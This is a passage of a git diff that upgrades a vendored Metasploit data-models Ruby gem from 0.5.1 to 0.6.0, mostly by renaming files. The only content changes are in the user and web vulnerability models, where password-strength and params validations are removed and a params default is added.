100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/nexpose_console.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/nexpose_console.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/nexpose_console.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/nexpose_console.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/note.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/note.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/note.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/note.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/profile.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/profile.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/profile.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/profile.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report_template.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report_template.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report_template.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report_template.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/route.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/route.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/route.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/route.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/service.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/service.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/service.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/service.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session_event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session_event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session_event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session_event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/task.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/task.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/task.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/task.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb similarity index 87% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/user.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb index bdc5baae21..c727f8507f 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/user.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb @@ -20,13 +20,6 @@ class Mdm::User < ActiveRecord::Base serialized_prefs_attr_accessor :time_zone, :session_key serialized_prefs_attr_accessor :last_login_address # specifically NOT last_login_ip to prevent confusion with AuthLogic magic columns (which dont work for serialized fields) - # - # Validations - # - - validates :password, :password_is_strong => true - validates :password_confirmation, :password_is_strong => true - ActiveSupport.run_load_hooks(:mdm_user, self) end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_form.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_form.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_form.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_form.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_page.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_page.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_page.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_page.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_site.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_site.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_site.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_site.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb similarity index 72% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb index 4577818842..5d9df893c7 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb @@ -1,6 +1,6 @@ # A Web Vulnerability found during a web scan or web audit. # -# If you need to modify Mdm::WebVuln you can use ActiveSupport.on_load(:mdm_web_vuln) in side an initializer so that +# If you need to modify Mdm::WebVuln you can use ActiveSupport.on_load(:mdm_web_vuln) inside an initializer so that # your patches are reloaded on each request in development mode for your Rails application. # # @example extending Mdm::WebVuln @@ -19,6 +19,9 @@ class Mdm::WebVuln < ActiveRecord::Base # shouldn't be an {Mdm::WebVuln} record if there is 0% {#confidence} in the the finding. CONFIDENCE_RANGE = 1 .. 100 + # Default value for {#params} + DEFAULT_PARAMS = [] + # Allowed {#method methods}. METHODS = [ 'GET', @@ -120,7 +123,6 @@ class Mdm::WebVuln < ActiveRecord::Base } validates :name, :presence => true validates :path, :presence => true - validates :params, :presence => true validates :pname, :presence => true validates :proof, :presence => true validates :risk, @@ -136,8 +138,53 @@ class Mdm::WebVuln < ActiveRecord::Base # @!attribute [rw] params # Parameters sent as part of request # - # @return [Array>] Array of parameter key value pairs - serialize :params, MetasploitDataModels::Base64Serializer.new + # @return [Array>] Array of parameter key value pairs + serialize :params, MetasploitDataModels::Base64Serializer.new(:default => DEFAULT_PARAMS) + + # + # Methods + # + + # Parameters sent as part of request. + # + # @return [Array>] + def params + normalize_params( + read_attribute(:params) + ) + end + + # Set parameters sent as part of request. + # + # @param params [Array>, nil] Array of parameter key value pairs + # @return [void] + def params=(params) + write_attribute( + :params, + normalize_params(params) + ) + end + + private + + # Creates a duplicate of {DEFAULT_PARAMS} that is safe to modify. + # + # @return [Array] an empty array + def default_params + DEFAULT_PARAMS.dup + end + + # Returns either the given params or {DEFAULT_PARAMS} if params is `nil` + # + # @param [Array>, nil] params + # @return [Array<>] params if not `nil` + # @return [nil] if params is `nil` + def normalize_params(params) + params || default_params + end + + # switch back to public for load hooks + public ActiveSupport.run_load_hooks(:mdm_web_vuln, self) end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_request.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_request.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_request.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_request.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_target.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/workspace.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/workspace.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/workspace.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/workspace.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/bin/mdm_console b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/bin/mdm_console similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/bin/mdm_console rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/bin/mdm_console diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/console_db.yml b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/console_db.yml similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/console_db.yml rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/console_db.yml diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/000_create_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/000_create_tables.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/000_create_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/000_create_tables.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/001_add_wmap_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/001_add_wmap_tables.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/001_add_wmap_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/001_add_wmap_tables.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/002_add_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/002_add_workspaces.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/002_add_workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/002_add_workspaces.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/003_move_notes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/003_move_notes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/003_move_notes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/003_move_notes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/004_add_events_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/004_add_events_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/004_add_events_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/004_add_events_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/005_expand_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/005_expand_info.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/005_expand_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/005_expand_info.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/006_add_timestamps.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/006_add_timestamps.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/006_add_timestamps.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/006_add_timestamps.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/007_add_loots.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/007_add_loots.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/007_add_loots.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/007_add_loots.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/008_create_users.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/008_create_users.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/008_create_users.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/008_create_users.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/009_add_loots_ctype.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/009_add_loots_ctype.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/009_add_loots_ctype.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/009_add_loots_ctype.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/010_add_alert_fields.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/010_add_alert_fields.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/010_add_alert_fields.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/010_add_alert_fields.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/011_add_reports.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/011_add_reports.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/011_add_reports.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/011_add_reports.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/012_add_tasks.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/012_add_tasks.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/012_add_tasks.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/012_add_tasks.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/013_add_tasks_result.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/013_add_tasks_result.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/013_add_tasks_result.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/013_add_tasks_result.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/014_add_loots_fields.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/014_add_loots_fields.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/014_add_loots_fields.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/014_add_loots_fields.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/015_rename_user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/015_rename_user.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/015_rename_user.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/015_rename_user.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/016_add_host_purpose.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/016_add_host_purpose.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/016_add_host_purpose.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/016_add_host_purpose.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/017_expand_info2.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/017_expand_info2.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/017_expand_info2.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/017_expand_info2.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/018_add_workspace_user_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/018_add_workspace_user_info.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/018_add_workspace_user_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/018_add_workspace_user_info.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/019_add_workspace_desc.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/019_add_workspace_desc.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/019_add_workspace_desc.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/019_add_workspace_desc.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/020_add_user_preferences.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/020_add_user_preferences.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/020_add_user_preferences.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/020_add_user_preferences.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/021_standardize_info_and_data.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/021_standardize_info_and_data.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/021_standardize_info_and_data.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/021_standardize_info_and_data.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/022_enlarge_event_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/022_enlarge_event_info.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/022_enlarge_event_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/022_enlarge_event_info.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/023_add_report_downloaded_at.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/023_add_report_downloaded_at.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/023_add_report_downloaded_at.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/023_add_report_downloaded_at.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/024_convert_service_info_to_text.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/024_convert_service_info_to_text.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/024_convert_service_info_to_text.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/024_convert_service_info_to_text.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/025_add_user_admin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/025_add_user_admin.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/025_add_user_admin.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/025_add_user_admin.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/026_add_creds_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/026_add_creds_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/026_add_creds_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/026_add_creds_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100819123300_migrate_cred_data.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100819123300_migrate_cred_data.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100819123300_migrate_cred_data.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100819123300_migrate_cred_data.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100824151500_add_exploited_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100824151500_add_exploited_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100824151500_add_exploited_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100824151500_add_exploited_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100908001428_add_owner_to_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100908001428_add_owner_to_workspaces.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100908001428_add_owner_to_workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100908001428_add_owner_to_workspaces.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100911122000_add_report_templates.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100911122000_add_report_templates.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100911122000_add_report_templates.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100911122000_add_report_templates.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916151530_require_admin_flag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916151530_require_admin_flag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916151530_require_admin_flag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916151530_require_admin_flag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916175000_add_campaigns_and_templates.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916175000_add_campaigns_and_templates.rb similarity index 100% rename from 